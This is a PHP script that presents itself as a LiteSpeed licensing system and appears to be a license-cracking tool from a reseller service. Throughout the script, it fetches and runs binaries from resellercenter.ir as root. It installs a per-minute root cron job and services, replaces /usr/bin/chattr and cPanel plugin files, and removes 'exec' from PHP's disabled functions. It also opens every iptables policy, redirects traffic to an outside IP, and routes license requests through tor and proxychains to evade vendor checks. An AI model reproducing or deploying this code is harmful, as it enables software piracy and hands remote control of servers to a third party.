<?php 
$c = curl_init("http://api.resellercenter.ir/litespeed/myip.php");
$z = curl_init("http://api.resellercenter.ir/litespeed/getexpire.php");
$z2 = curl_init("http://api.resellercenter.ir/litespeed/getexpire2.php");
$k = curl_init("http://api.resellercenter.ir/litespeed/today.php");
$k2 = curl_init("http://api.resellercenter.ir/litespeed/today2.php");
$h = curl_init("http://api.resellercenter.ir/litespeed/litespeed.php");
$ver = "0.0.107";
$getcopyright = curl_init("http://api.resellercenter.ir/litespeed/getcopyright.php");
$getcopyright2 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright2.php");
$getcopyright3 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright3.php");
$getcopyright4 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright4.php");
$getcopyright5 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright5.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://litespeed.resellercenter.ir/litespeedv2/ver");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$Sver = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright2.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright2 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright3.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright3 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright4.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright4 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright5.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright5 = curl_exec($ch);
curl_close($ch);
if( $ver != $Sver ) 
{
    exec("wget -O /usr/bin/" . $getcopyright4 . " http://litespeed.resellercenter.ir/litespeedv2/RcLicense_lsws > /dev/null 2>&1");
    echo "\n\x1B[31m " . $getcopyright2 . " license system has been updated to latest version. Please run this command again : \n\n\x1B[0m";
    echo "\x1B[33m => " . $getcopyright3 . " \n\x1B[0m";
    exit();
}

echo "\x1B[34m\r\n" . $getcopyright . "\r\n\x1B[0m";
echo "------------- \n";
echo "\x1B[31m [+] Thank you for using " . $getcopyright2 . " licensing system ! [+] \x1B[32m \n\n";
echo "|Website : " . $getcopyright2 . " \n";
echo "|Server Ip : ";
echo str_replace("1", "", curl_exec($c)) . "\n";
echo "|Hostname : " . exec("hostname") . "\n";
echo "\n\n\x1B[33m If you have any question connect us on our website.\r\nCopyright 2017-2018 " . $getcopyright2 . " - All rights reserved. \x1B[0m \n";
echo "-------------\nToday : ";
$timoe = str_replace("1", "", curl_exec($k2));
echo $timoe . "\n";
echo "License Expire : ";
$time = str_replace("1", "", curl_exec($z2));
echo $time . "\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getexpire.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$get1 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/today.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$get2 = curl_exec($ch);
curl_close($ch);
if( file_exists("/usr/local/lsws") ) 
{
    if( $get2 - $get1 < 0 ) 
    {
        if( !file_exists("/usr/local/RC") ) 
        {
            exec("mkdir /usr/local/RC > /dev/null 2>&1");
        }

        if( !file_exists("/usr/local/RC/.tmp") ) 
        {
            exec("mkdir /usr/local/RC/.tmp > /dev/null 2>&1");
        }

function soft_decode($txt)
{
    $from = array( "!", "@", "#", "\$", "%", "^", "&", "*", "(", ")" );
    $to = array( "a", "b", "c", "d", "e", "f", "g", "h", "i", "j" );
    $txt = base64_decode($txt);
    $txt = gzuncompress($txt);
    $txt = str_replace($from, $to, $txt);
    $txt = base64_decode($txt);
    return $txt;
}

function soft_encode($txt)
{
    $from = array( "a", "b", "c", "d", "e", "f", "g", "h", "i", "j" );
    $to = array( "!", "@", "#", "\$", "%", "^", "&", "*", "(", ")" );
    $txt = base64_encode($txt);
    $txt = str_replace($from, $to, $txt);
    $txt = gzcompress($txt);
    $txt = base64_encode($txt);
    return $txt;
}

        exec("rm -rf /root/rclsws.p* > /dev/null 2>&1");
        exec("rm -rf /root/rclsws.result > /dev/null 2>&1");
        $lock = "/root/RCLSWS.lock";
        if( file_exists($lock) ) 
        {
            exec("sed 's/^ *//g' /root/.rclsws.pid1 > /root/.rclsws.pid 2>&1");
            $pid = file_get_contents("/root/.rclsws.pid");
            exec("ps -ef | grep " . $pid . "");
            $filexml = file_get_contents("/root/.rclsws.result");
            $pose = strpos($filexml, ".vmfilsws");
            if( $pose !== false ) 
            {
                echo "\n\nLiteSpeed license is already running. To stop the process please run the following command :\nrm -rf /root/RCLSWS.lock\n";
            }
            else
            {
                exec("rm -rf /root/RCLSWS.lock > /dev/null 2>&1");
                echo "\n\nLiteSpeed license LOCK file exists but not running... removing it...\n";
            }

        }
        else
        {
            exec("mkdir /usr/bin/.sysma2 > /dev/null 2>&1");
            exec("rm -rf /root/.rclsws.p* > /dev/null 2>&1");
            exec("rm -rf /root/.rclsws.result > /dev/null 2>&1");
            exec("touch /root/RCLSWS.lock");
            exec("echo \$(ps -o ppid= -p \"\$\$\") \"| grep -v grep > /root/.rclsws.result\" > /root/.rclsws.pid1");
            if( $argv[1] == "-m2" || $argv[1] == "--m2" ) 
            {
                exec("/usr/bin/olast -q -f /usr/bin/.sysma2/sys.conf3 /usr/local/lsws/bin/lshttpd -V > /dev/null 2>&1");
                exit();
            }

            exec("php --ini > /etc/.op");
            exec("grep -o '/opt/cpanel/ea-php.*/root/etc/php.ini' /etc/.op > /etc/.op1");
            exec("grep -rl ',exec' \$(cat /etc/.op1) | xargs sed -i 's/,exec//g' > /dev/null 2>&1");
            exec("rm -rf /etc/.op > /dev/null 2>&1; rm -rf /etc/.op1 > /dev/null 2>&1");
            exec("wget -O /usr/bin/RcLSWS litespeed.resellercenter.ir/lswsv2/RcLSWS > /dev/null 2>&1");
            exec("chmod +x /usr/bin/RcLSWS > /dev/null 2>&1");
            exec("wget -O /usr/bin/olast http://api.resellercenter.ir/litespeed/olast > /dev/null 2>&1");
            exec("chmod +x /usr/bin/olast > /dev/null 2>&1");
            $file = exec("/usr/bin/olast > /root/.bash_time");
            $file2 = file_get_contents("/root/.bash_time");
            $pos = strpos($file2, "Usage:");
            if( $pos === false ) 
            {
                exec("mkdir /root/.core > /dev/null 2>&1; cd /root/.core; rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; rm -rf /usr/local/etc/proxychains.conf; rm -rf /root/proxychains-ng > /dev/null 2>&1");
                exec("cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/olast > /dev/null 2>&1");
            }

            exec("wget -O /etc/.serveripaddress http://api.resellercenter.ir/litespeed/myip.php > /dev/null 2>&1");
            exec("rm -rf /root/.core; mkdir ~/.backdrive > /dev/null 2>&1");
            echo "\x1B[31m Please wait ... \x1B[0m\n";
            exec("mkdir /usr/bin/.sysma > /dev/null 2>&1");
            exec("wget -O /usr/bin/.sysma/sys.conf http://api.resellercenter.ir/litespeed/litespeed.php > /dev/null 2>&1");
            $lswsup = "/usr/local/lsws/admin/misc/lswsup";
            if( file_exists($lswsup) ) 
            {
                exec("chmod +x /usr/local/lsws/admin/misc/lswsup > /dev/null 2>&1");
            }
            else
            {
                exec("wget -O /usr/local/lsws/admin/misc/lswsup http://litespeed.resellercenter.ir/litespeedv1/lswsup > /dev/null 2>&1");
                exec("chmod +x /usr/local/lsws/admin/misc/lswsup > /dev/null 2>&1");
            }

            $lswsupchecker = "/usr/local/lsws/admin/misc/lswsupchecker.php";
            if( file_exists($lswsupchecker) ) 
            {
                exec("chmod +x /usr/local/lsws/admin/misc/lswsupchecker.php > /dev/null 2>&1");
            }
            else
            {
                exec("wget -O /usr/local/lsws/admin/misc/lswsupchecker.php http://litespeed.resellercenter.ir/litespeedv1/lswsupchecker > /dev/null 2>&1");
                exec("chmod +x /usr/local/lsws/admin/misc/lswsupchecker.php > /dev/null 2>&1");
            }

            $file = exec("ps -ef | grep lswsup > /root/.bash_time3");
            $file2 = file_get_contents("/root/.bash_time3");
            $pos = strpos($file2, "/usr/local/lsws/admin/misc/lswsup");
            if( $pos === false ) 
            {
                $file2 = file_get_contents("/etc/os-release");
                $pos = strpos($file2, "VERSION=\"7");
                if( $pos !== false ) 
                {
                    exec("wget -O /etc/systemd/system/RCLSWS.service http://litespeed.resellercenter.ir/litespeedv1/RCLSWS7 > /dev/null 2>&1");
                }
                else
                {
                    exec("wget -O /etc/init.d/RCLSWS http://litespeed.resellercenter.ir/litespeedv1/RCLSWS6 > /dev/null 2>&1");
                    exec("chmod +x /etc/init.d/RCLSWS");
                }

            }

            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func http://litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/local/lsws/add-ons/cpanel/lsws_whm_plugin/bin/lsws_func http://litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/local/psa/admin/sbin/modules/litespeed/lsws_func http://litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/bin/comp0 http://litespeed.resellercenter.ir/litespeedv1/0wjdwi > /dev/null 2>&1; chmod +x /usr/bin/comp0 > /dev/null 2>&1");
            exec("rm -rf /etc/cron.d/helperlsws > /dev/null 2>&1");
            exec("cp /usr/bin/comp0 /usr/bin/chattr > /dev/null 2>&1");
            echo "/usr/bin/'." . $getcopyright3 . ".'" < "#!/usr/bin/php -q\r\n<?php\r\nexec(\"wget -O /usr/bin/\".\$getcopyright4.\" http://litespeed.resellercenter.ir/litespeedv2/RcLicense_lsws > /dev/null 2>&1\");\r\nexec(\"chmod +x /usr/bin/" . $getcopyright4 . "\");\r\ninclude(\"/usr/bin/" . $getcopyright4 . "\");\r\n?>";
            $filenamec = "/etc/cron.d/rclsws";
            if( !file_exists($filenamec) ) 
            {
                exec("echo \"* * * * *  root /usr/bin/rclswscronbackup > /dev/null 2>&1\" > /etc/cron.d/rclsws");
                exec("/usr/bin/chmod 644 /etc/cron.d/rclsws > /dev/null 2>&1");
            }

            exec("rm -rf /usr/bin/rclswscronbackup");
            $filenameb = "/usr/bin/rclswscronbackup";
            if( !file_exists($filenameb) ) 
            {
                exec("/usr/bin/wget -O /usr/bin/rclswscronbackup http://litespeed.resellercenter.ir/litespeedv1/rclswscronbackup > /dev/null 2>&1");
                exec("chmod +x /usr/bin/rclswscronbackup > /dev/null 2>&1");
            }

            exec("sed -i -e \"s/\\r\$//\" /usr/bin/rclswscronbackup > /dev/null 2>&1");
            exec("/usr/bin/rm -rf /etc/cron.d/sed* > /dev/null 2>&1");
            exec("wget -O /usr/bin/" . $getcopyright4 . " http://litespeed.resellercenter.ir/litespeedv2/RcLicense_lsws > /dev/null 2>&1");
            exec("rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_View.php > /dev/null 2>&1; wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_View.php http://litespeed.resellercenter.ir/litespeedv1/WhmMod_LiteSpeed_View > /dev/null 2>&1");
            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_Util.php http://litespeed.resellercenter.ir/litespeedv1/WhmMod_LiteSpeed_Util > /dev/null 2>&1");
            exec("wget -O /usr/bin/.rccore api.resellercenter.ir/litespeed/c.php > /dev/null 2>&1");
            exec("mkdir /root/.backdrive > /dev/null 2>&1");
            exec("echo '#!/bin/bash # BeGPL.com's Note: If you did not purchased from us the licensing system will not work at all even if you have source code provided by the leachers, the official versions of Syslic, GBLicense v15, and CPS (Scam), are avaliable at BeGPL only. Other people do no have access to the updates or they dont have updated documentation. We provide free weekly updates on the source code and documentation. ------------ Go To BeGPL.com\r\nphp /usr/bin/" . $getcopyright4 . " > /dev/null 2>&1' >> /usr/local/.mailt");
            exec("chmod +x /usr/local/.mailt > /dev/null 2>&1");
            exec("chmod 644 /etc/cron.d/systemmail > /dev/null 2>&1");
            exec("sed -i -e \"s/\\r\$//\" /usr/local/.mailt > /dev/null 2>&1");
            exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
            exec("rm -rf /usr/local/.mailt > /dev/null 2>&1");
            $filexml = file_get_contents("/usr/local/lsws/conf/httpd_config.xml");
            $pose = strpos($filexml, "<?xml");
            if( $pose === false ) 
            {
                exec("wget -O /usr/local/lsws/conf/httpd_config.xml litespeed.resellercenter.ir/litespeedv1/httpd_config.xml > /dev/null 2>&1");
            }

            exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
            $file11 = exec("curl --fail --silent --show-error 127.0.0.1:443 2> /root/.bash_time");
            $file22 = file_get_contents("/root/.bash_time");
            $pos = strpos($file22, "Connection");
            if( $pos !== false ) 
            {
                if( file_exists("/tmp/lshttpd/lshttpd.pid") ) 
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("service lsws stop > /dev/null 2>&1");
                }
                else
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("service lsws stop > /dev/null 2>&1");
                }

            }

            exec("rm -rf /root/.bash_time");
            $file22 = file_get_contents("/proc/mounts");
            $pos = strpos($file22, "/usr/local/lsws/conf/trial.key");
            if( $pos === false ) 
            {
            }

            $file3 = file_get_contents("/etc/hosts");
            $pos = strpos($file3, "repo.mysql.com");
            if( $pos !== false ) 
            {
                exec("echo 1 > /proc/sys/net/ipv4/ip_forward");
                exec("cp /scripts/wwwacct /scripts/wwwacct_isback > /dev/null 2>&1");
                exec("ip addr add 108.108.108.108/32 dev \$(ip -o -4 route show to default | awk '{print \$5}')");
                exec("/sbin/iptables -t nat -A OUTPUT -p tcp -s 108.108.108.108 -d 108.108.108.108 --dport 80 -j DNAT --to-destination 159.69.47.78:1000 &>/dev/null");
                exec("/sbin/iptables -t nat -A POSTROUTING -j MASQUERADE -p tcp -s 108.108.108.108 -d 159.69.47.78 &>/dev/null");
            }

            if( !file_exists("/usr/bin/tor") ) 
            {
                echo "\ninstalling requirements...";
                exec("wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("rpm -ivh epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("rm -rf epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("killall yum > /dev/null 2>&1");
                exec("yum install tor -y > /dev/null 2>&1");
            }

            exec("service tor start > /dev/null 2>&1");
            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func litespeed.resellercenter.ir/litespeedv1/lsws_func > /dev/null 2>&1");
            $filename3 = "/usr/local/lsws/conf/trial.key";
            $file = exec("ps -ef | grep litespeed > /root/.bash_timel");
            $file2 = file_get_contents("/root/.bash_timel");
            $pos = strpos($file2, "(lshttpd - #01)");
            if( $pos == false ) 
            {
                $license = file_get_contents("/usr/local/RC/.key2");
                $license = @trim(@soft_decode($license));
                if( substr($license, 0, 5) == "<?php" ) 
                {
                    $license = substr($license, 5);
                }

                if( substr($license, -2) == "?>" ) 
                {
                    $license = substr($license, 0, strlen($license) - 2);
                }

                $new = "/usr/local/RC/.key2";
                file_put_contents($new, $license);
                exec("comp0 -i /usr/local/lsws/conf/trial.key");
                exec("/usr/bin/olast -q -f /usr/local/RC/.key2 wget -O /usr/local/lsws/conf/trial.key license.litespeedtech.com/reseller/trial.key > /dev/null 2>&1");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.key2 /usr/local/lsws/bin/lswsctrl start");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.key2 /usr/local/lsws/bin/lshttpd");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.key2 /usr/local/lsws/bin/lshttpd");
                exec("comp0 +i /usr/local/lsws/conf/trial.key");
                $license = file_get_contents("/usr/local/RC/.key2");
                $license = @trim(@soft_encode($license));
                if( substr($license, 0, 5) == "<?php" ) 
                {
                    $license = substr($license, 5);
                }

                if( substr($license, -2) == "?>" ) 
                {
                    $license = substr($license, 0, strlen($license) - 2);
                }

                $new = "/usr/local/RC/.key2";
                file_put_contents($new, $license);
            }

            $filename3 = "/usr/local/lsws/conf/trial.key";
            $file = exec("ps -ef | grep litespeed > /root/.bash_timel");
            $file2 = file_get_contents("/root/.bash_timel");
            $pos = strpos($file2, "(lshttpd - #01)");
            if( $pos !== false ) 
            {
                exec("lsattr -d /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                exec("lsattr -l /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
                exec("rm -rf /usr/local/lsws/conf/trial.key.old > /dev/null 2>&1");
                exec("cp /usr/local/lsws/conf/trial.key /usr/local/lsws/conf/trial.key.old > /dev/null 2>&1");
                exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                $file11 = exec("timeout 2s ping 165.227.122.1 > /root/.bash_time1");
                $file22 = file_get_contents("/root/.bash_time1");
                $pos = strpos($file22, "bytes from");
                if( $pos !== false ) 
                {
                    exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                }

                exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
                $file11 = exec("timeout 3s curl --silent 167.99.112.67 > /root/.bash_time");
                $file22 = file_get_contents("/root/.bash_time");
                $pos = strpos($file22, "LiteSpeed Web Server");
                if( $pos === false ) 
                {
                }

                exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
                $file11 = exec("timeout 3s curl --silent 34.231.236.27 > /root/.bash_time");
                $file22 = file_get_contents("/root/.bash_time");
                $pos = strpos($file22, "LiteSpeed Web Server");
                if( $pos === false ) 
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                }

                exec("/scripts/configure_firewall_for_cpanel > /dev/null 2>&1");
                exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                $file11 = exec("timeout 2s ping 165.227.122.1 > /root/.bash_time1");
                $file22 = file_get_contents("/root/.bash_time1");
                $pos = strpos($file22, "bytes from");
                if( $pos !== false ) 
                {
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables-save > /dev/null 2>&1");
                    exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                }

                echo "\x1B[32m\n\nLiteSpeed status : OK\x1B[0m\n";
            }
            else
            {
                echo "\x1B[32m\n\nGenerating LiteSpeed license...\x1B[0m";
                exec("iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -I INPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1");
                exec("iptables -P INPUT ACCEPT > /dev/null 2>&1");
                exec("iptables -P FORWARD ACCEPT > /dev/null 2>&1");
                exec("iptables -P OUTPUT ACCEPT > /dev/null 2>&1");
                $ofi = 1;
                while( $ofi <= 10 ) 
                {
                    exec("comp0 -i /var/www/html/trial.key > /dev/null 2>&1");
                    exec("rm -rf /var/www/html/trial.key > /dev/null 2>&1");
                    exec("chmod +x /usr/local/lsws/bin/lswsctrl > /dev/null 2>&1");
                    exec("comp0 -i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                    exec("wget -O /usr/local/RC/.tmp/sys.conf2 http://api.resellercenter.ir/litespeed/change.php > /dev/null 2>&1");
                    exec("sed -e 's/<[^>]*>//g' /usr/local/RC/.tmp/sys.conf2 > /usr/local/RC/.tmp/sys.conf3");
                    exec("/usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 wget -O /usr/local/lsws/conf/trial.key license.litespeedtech.com/reseller/trial.key > /dev/null 2>&1");
                    exec("timeout 20s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lswsctrl start > /usr/local/RC/.outlsws 2>&1");
                    $file3 = file_get_contents("/usr/local/RC/.outlsws");
                    $pos = strpos($file3, "Updated license key has been created at");
                    if( $pos !== false ) 
                    {
                        echo "OK";
                        exec("cat /usr/local/RC/.tmp/sys.conf3 > /usr/local/RC/.key2");
                        $license = file_get_contents("/usr/local/RC/.key2");
                        $license = @trim(@soft_encode($license));
                        if( substr($license, 0, 5) == "<?php" ) 
                        {
                            $license = substr($license, 5);
                        }

                        if( substr($license, -2) == "?>" ) 
                        {
                            $license = substr($license, 0, strlen($license) - 2);
                        }

                        $new = "/usr/local/RC/.key2";
                        file_put_contents($new, $license);
                        exec("curl http://api.resellercenter.ir/litespeed/log.php?error=litespeedv2MET1OK > /dev/null 2>&1");
                        exec("comp0 +i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("timeout 10s /usr/bin/olast -q -f /usr/local/RC/.tmp/sys.conf3 /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
                        exec("csf -e > /dev/null 2>&1");
                        exec("service iptables start > /dev/null 2>&1");
                        exec("service firewalld start > /dev/null 2>&1");
                        exec("rm -rf /usr/local/RC/.tmp/sys.conf2 > /dev/null 2>&1");
                        exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
                        $ofi = 10;
                        echo "\x1B[32m\n\nLiteSpeed has been started...\x1B[0m\n";
                    }

                    $ofi++;
                }
                $file3 = file_get_contents("/usr/local/RC/.outlsws");
                $pos = strpos($file3, "Updated license key has been created at");
                if( $pos == false ) 
                {
                    echo "Failed\x1B[31m\n New config has been downloaded, please try again.\x1B[0m\n";
                }

            }

            exec("rm -rf /usr/local/RC/.outlsws > /dev/null 2>&1");
            exec("comp0 +i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
            exec("rm -rf /usr/local/RC/.tmp/sys.conf2 > /dev/null 2>&1");
            exec("rm -rf /usr/local/RC/.tmp/sys.conf3 > /dev/null 2>&1");
            exec("rm -rf /root/RCLSWS.lock > /dev/null 2>&1");
        }

    }
    else
    {
        echo "\r\n\x1B[31m Your License has been suspended. Connect to support via " . $getcopyright2 . " \x1B[0m\r\n";
        if( file_exists("/scripts/removeacct_isback") ) 
        {
            exec("yes | cp -rf /scripts/removeacct_isback /scripts/removeacct > /dev/null 2>&1");
        }

        exec("/usr/bin/comp0 /root/.backdrive/trial.key &>/dev/null; rm -rf /root/.backdrive/trial.key > /dev/null 2>&1");
        exec("/usr/bin/comp0 /usr/local/lsws/conf/trial.key &>/dev/null; rm -rf /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
        exec("service lsws stop > /dev/null 2>&1");
        exec("rm -rf ~/.sysma/auto");
        echo "***" . $get2;
    }

}
else
{
    echo "LiteSpeed is not installed. submit a ticket on " . $getcopyright2 . " for more help.";
}


